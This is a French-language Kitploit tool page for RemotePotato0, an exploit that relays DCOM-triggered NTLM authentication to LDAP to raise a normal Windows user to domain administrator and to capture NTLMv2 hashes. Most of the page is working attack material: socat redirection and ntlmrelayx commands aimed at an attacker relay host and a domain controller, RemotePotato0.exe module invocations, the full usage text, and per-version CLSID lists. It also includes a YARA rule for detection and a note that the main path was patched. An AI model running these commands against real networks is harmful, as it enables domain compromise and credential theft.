Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
RemotePotato0 — Élévation de privilèges Windows de l'utilisateur à l'administrateur de domaine. | Kitploit
Outils/GitHubGitHub/antoniococo/remotepotato0
Escalade de PrivilègesExploitationMouvement LatéralTests d'IntrusionAuthentification
GitHubantoniococo/remotepotato0

RemotePotato0

Élévation de privilèges Windows de l'utilisateur à l'administrateur de domaine.

Voir le dépôt
1.5k2221il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

RemotePotato0

MISE À JOUR 21-10-2022 : Le scénario d'exploitation principal RPC->LDAP de RemotePotato0 a été corrigé. Plus de détails sur --> https://twitter.com/splinter_code/status/1583555613950255104

Juste une autre escalade de privilèges Windows « Won't Fix » d'un utilisateur à un administrateur de domaine.

RemotePotato0 est un exploit qui vous permet d'élever vos privilèges d'un utilisateur générique à un administrateur de domaine.

En résumé :

Il abuse du service d'activation DCOM et déclenche une authentification NTLM de tout utilisateur actuellement connecté sur la machine cible. Il est nécessaire qu'un utilisateur privilégié soit connecté sur la même machine (par exemple, un utilisateur administrateur de domaine). Une fois le type1 NTLM déclenché, nous mettons en place un serveur de relais inter-protocoles qui reçoit le message type1 privilégié et le relaie vers une troisième ressource en décompressant le protocole RPC et en emballant l'authentification sur HTTP. Du côté récepteur, vous pouvez configurer un nœud de relais supplémentaire (par exemple ntlmrelayx) ou relayer directement vers une ressource privilégiée. RemotePotato0 permet également de capturer et de voler les hachages NTLMv2 de tous les utilisateurs connectés sur une machine.

Exemples

Machine attaquante (10.0.0.20)

Machine victime (10.0.0.45)

Contrôleur de domaine victime (10.0.0.10)

Module 0 - Serveur de relais inter-protocoles Rpc2Http + déclencheur potato

root@kitploit:~
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.0.0.45:9999 &
sudo ntlmrelayx.py -t ldap://10.0.0.10 --no-wcf-server --escalate-user normal_user

Remarque : si vous êtes sur Windows Server <= 2016, vous pouvez éviter le redirigeur réseau (socat) car la résolution oxid peut être effectuée localement.

root@kitploit:~
query user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1

Module 1 - Serveur de relais inter-protocoles Rpc2Http

root@kitploit:~
.\RemotePotato0.exe -m 1 -l 9997 -r 10.0.0.20 
root@kitploit:~
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm

Module 2 - Serveur de capture RPC (hash) + déclencheur potato

root@kitploit:~
query user
.\RemotePotato0.exe -m 2 -s 1

Module 3 - Serveur de capture RPC (hash)

root@kitploit:~
.\RemotePotato0.exe -m 3 -l 9997
root@kitploit:~
rpcping -s 127.0.0.1 -e 9997 -a connect -u ntlm

Utilisation

root@kitploit:~


        RemotePotato0
        @splinter_code & @decoder_it



Mandatory args:
-m module
        Allowed values:
        0 - Rpc2Http cross protocol relay server + potato trigger (default)
        1 - Rpc2Http cross protocol relay server
        2 - Rpc capture (hash) server + potato trigger
        3 - Rpc capture (hash) server


Other args: (someone could be mandatory and/or optional based on the module you use)
-r Remote HTTP relay server ip
-t Remote HTTP relay server port (Default 80)
-x Rogue Oxid Resolver ip (default 127.0.0.1)
-p Rogue Oxid Resolver port (default 9999)
-l RPC Relay server listening port (Default 9997)
-s Session id for the Cross Session Activation attack (default disabled)
-c CLSID (Default {5167B42F-C111-47A1-ACC4-8EABE61B0B54})

Démo

Activation de session croisée

Voleur de hachages

Liste des CLSID

Une liste de CLSID utilisables sur différentes versions de Windows :

Windows Server 2019

root@kitploit:~
{0002DF02-0000-0000-C000-000000000046} - BrowserBroker Class   
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4} - AuthBrokerUI 
{5167B42F-C111-47A1-ACC4-8EABE61B0B54} - Easconsent.dll 
{924DC564-16A6-42EB-929A-9A61FA7DA06F} - Authentication UI CredUI Out of Proc Helper for Non-AppContainer Clients  
{934b410c-43e4-415e-9935-fbc081ba93a9} - UserInfoDialog   
{BA441419-0B3F-4FB6-A903-D16CC14CCA44} - CLSID_LockScreenContentionFlyout 
{c58ca859-80bc-48df-8f06-ffa94a405bff} - Picker Host   
{f65817c8-dd85-4136-89f0-b9d12939f2c4} - IsolatedMessageDialogFactory  
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} - SPPUIObjectInteractive Class
{f8842f8e-dafe-4b37-9d38-4e0714a61149} - CastServerInteractiveUser

Windows Server 2016

root@kitploit:~
{924DC564-16A6-42EB-929A-9A61FA7DA06F}
{f65817c8-dd85-4136-89f0-b9d12939f2c4}
{BA441419-0B3F-4FB6-A903-D16CC14CCA44}
{0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4}
{934b410c-43e4-415e-9935-fbc081ba93a9}
{f8842f8e-dafe-4b37-9d38-4e0714a61149}
{0002DF02-0000-0000-C000-000000000046}
{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
{c58ca859-80bc-48df-8f06-ffa94a405bff}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

Windows Server 2008 R2

root@kitploit:~
{FCC74B77-EC3E-4dd8-A80B-008A702075A9}
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}
{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

Vous pouvez trouver une liste plus complète ici --> http://ohpe.it/juicy-potato/CLSID/

Détection

Règle Yara pour détecter le binaire RemotePotato0 :

root@kitploit:~
rule SentinelOne_RemotePotato0_privesc {
    meta:
        author = "SentinelOne"
        description = "Detects RemotePotato0 binary"
        reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
        
    strings:
        $import1 = "CoGetInstanceFromIStorage"
        $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
        $meow_header = { 4d 45 4f 57 }
        $clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
        $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
        
    condition:        
        (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}

Auteurs

  • Antonio Cocomazzi
  • Andrea Pierini

Crédits

  • Impacket
  • @tiraniddo - Cross Session Activation
  • @Responder

Références

  • https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop/
  • https://www.tiraniddo.dev/2021/04/standard-activating-yourself-to.html
Télécharger l’outil